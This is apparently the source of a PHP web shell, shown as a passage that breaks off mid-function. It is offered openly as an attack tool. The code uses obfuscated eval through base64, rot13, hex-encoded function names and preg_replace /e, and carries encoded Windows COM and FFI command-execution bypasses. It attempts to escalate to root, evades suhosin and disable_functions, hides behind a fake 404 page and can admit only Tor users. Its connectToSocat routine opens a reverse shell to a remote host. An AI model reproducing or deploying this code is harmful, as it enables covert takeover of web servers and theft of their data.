shell

ding guidelines: use suhosin_func_exists copiously to avoid getting kill()'d , don't write one liners             |
|                                                                                                                     |
| Features: evade disable_functions, suhosin, and aggressive caching through various tricks, including SSH            |
| the daemon said                                                                                                     |
| code the best shell in the world                                                                                    |
| or i'll eat your soul                                                                                               |
| and me and htp we all looked at each other                                                                          |
| and we each said, "okay"                                                                                            |
| and we wrote the first thing that came to our heads and it just so happened to be                                   |
| the best shell in the world                                                                                         |
| it was the best shell in the world                                                                                  |
| This is not the greatest shell in the world, no. This is just a tribute.                                            |                                                                                            |
\*********************************************************************************************************************/
$phpversion        = explode('.', phpversion());
$nintendosixtyfour = strrev(strrev("decode")."_46esab");
$toronly           = false; // set this to true to allow ONLY Tor exits to access the shell
$clientip          = $_SERVER["REMOTE_ADDR"];
if ($toronly === true && rblcheck($clientip) === false) error404();
// hey, can't blame me for trying!
if (suhosin_func_exists("\x70\x6f\x73\x69\x78_\x73e\x74u\x69d")) @posix_setuid(0);
//desperate attempt to get zlib functions
if (suhosin_func_exists("dl") && !suhosin_func_exists("\x67\x7ain\x66la\x74e")) @dl("zlib.so");
if (suhosin_func_exists("ini_get")) $gzip = @ini_get("zlib.output_compression"); // LOL, IDS
else $gzip = false; // LOL, FAIL
//if (extension_loaded("zlib") && $gzip == false) ob_start("ob_gzhandler");
if (suhosin_func_exists("putenv") && (windows() == false)) {
  if(suhosin_func_exists("getenv")) {
    putenv("PATH=".getenv('PATH').":/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin");
  } else {
    putenv("PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin");
  }
}
$password = "e1d8920ffc4f2c9210a7fcd7fe9cb9cf"; // fuhosin
$bots     = array('bot','spider','archive','crawl','robot','search','seek','cache');
$UA       = strtolower($_SERVER['HTTP_USER_AGENT']);
foreach ($bots AS $BOT) { if (strpos($UA,$BOT) !== FALSE) { error404(); } }
$sorcery  = "\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65";
// begin base64/gz blobs
$php5only = "ZnVuY3Rpb24gY29tX2V4ZWMoJGNtZCkgeyAvLyBCeXBhc3MgIzM6IENPTSBvYmplY3RzCiAgICAgICAgJHJlc3VsdCA9ICIiOwoJaWYoY2xhc3NfZXhpc3RzKCJDT00iKSkgewoJCSR3c2NyaXB0ID0gbmV3IENPTSgnd3NjcmlwdC5zaGVsbCcpOyAgICAgICAgICAgICAgICAvL3dzY3JpcHQuZXhlCgkJJHJlc3VsdCA9ICR3c2NyaXB0LT5FeGVjKCJjbWQuZXhlIC9jICRjbWQiKS0+U3RkT3V0LT5SZWFkQWxsOyAKCX0KCXJldHVybiAkcmVzdWx0Owp9ICAgICAgICAKZnVuY3Rpb24gZmZpX2V4ZWMoJGNvbW1hbmQpIHsgLy8gV2luZG93cyBGRkkgZXhlYwoJJG5hbWU9d2hlcmVzX3RoZV9mdWNraW5nX3RtcF9kaXIoKS4iXFwiLnVuaXFpZCgnTkonKTsKCSRhcGk9bmV3IGZmaSgiW2xpYj0na2VybmVsMzIuZGxsJ10gaW50IFdpbkV4ZWMoY2hhciAqQVBQLGludCBTVyk7Iik7CgkkcmVzPSRhcGktPldpbkV4ZWMoImNtZC5leGUgL2MgJGNvbW1hbmQgPlwiJG5hbWVcIiIsMCk7Cgl3aGlsZSghZmlsZV9leGlzdHMoJG5hbWUpKXNsZWVwKDEpOwoJJGV4ZWM9ZmlsZV9nZXRfY29udGVudHMoJG5hbWUpOwoJdW5saW5rKCRuYW1lKTsKCXJldHVybiAkZXhlYzsKfQ==";
//end base64/gz blobs
?><?php
// begin funcs
$c = str_rot13('riny(tmvasyngr(onfr64_qrpbqr($ovttnlffuyvo)));');
$sorcery("/(.*)/e",$c,"");
if($phpversion[0] != '4') {
  $php5only = $nintendosixtyfour($php5only);
  eval($php5only);
} else {
  function com_exec($cmd) { return ""; }
  function ffi_exec($cmd) { return ""; }
}
if(suhosin_func_exists("ini_get") && suhosin_func_exists("ini_restore")
   && ini_get("s\x61f\x65_mo\x64e") !== false)
   ini_restore("saf\x65_mod\x65");
function shellToSocketViaSelect($socket, $command) {
  $sockets = array(
      stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP),
      stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP),
      stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP)
  );
  $process = proc_open($command, array(
    0 => $sockets[0][0],
    1 => $sockets[1][0],
    2 => $sockets[2][0],
  ), $pipes, null, null, array('bypass_shell' => true));
  if (is_resource($process)) {
    echo "Process $command opened successfully, multiplexing...";
    $running = true;
    foreach(array($sockets[1][1], $sockets[2][1]) as $k => $pipe) {
      stream_set_blocking($pipe, false);
    }
    $socket_int = intval($socket);
    $stdin = $sockets[0][1];
    while($running) {
      $reads = array($socket, $sockets[1][1], $sockets[2][1]);
      $write = $excepts = null;
      if (false === ($act = stream_select($reads, $writes, $excepts, 1))) {
        $running = false;
      } elseif ($act > 0) {
                print_r($reads);
                foreach($reads as $skt) {
                    $skt_int = intval($skt);
                    $buf = fread($skt, 4096);
                    if (empty($buf)) {
                        $running = false;
                        break;
                    } elseif ($skt_int === $socket_int) {
                        safe_write($stdin, $buf);
                    } else {
                        safe_write($socket, $buf);
                    }
                }
            }
        }
        proc_close($process);
    }
}
function connectToSocat($host, $port, $command) {
    $fp = stream_socket_client("tcp://$host:$port", $errno, $errstr, 30);
    if(!$fp) {
        echo "Error $errstr ($errno)\n";
    } else {
        shellToSocketViaSelect($fp, $command);
    }
}
function safe_write($socket, $buf) {
    stream_set_blocking($socket, true);
    fwrite($socket, $buf);
    stream_set_blocking($socket, false);
}
function handleError($errno, $errstr, $errfile, $errline, $errcontext) {
    if (0 === error_reporting()) {
        return false;
    }
$GLOBALS["results"] .= "Err: ".strip_tags($errstr)."\n";
}
set_error_handler('handleError'); //Lazy error handling
function windows() {
    $dir = getcwd();
if(strlen($dir)>1 && $dir[1]==":") { return 1; }
else return 0;
}
function error404(){
    if (strpos($_SERVER['SERVER_SOFTWARE'], 'mod_fastcgi') === FALSE || strpos($_SERVER["SERVER_SOFTWARE"], 'mod_fcgi') === FALSE) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); }
    else { header('Status: 404 Not Found'); }
echo
'<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL ',$_SERVER['PHP_SELF'],' was not found on this server.</p>
</body></html> ';
    die;
}
function rblcheck($host) {
  $lookup = implode('.', array_reverse(explode('.', $host))) . ".80.0.39.194.173.ip-port.exitlist.torproject.org";
  if (strstr(gethostbyname($lookup), "127.0.0")) {
    return $rbl;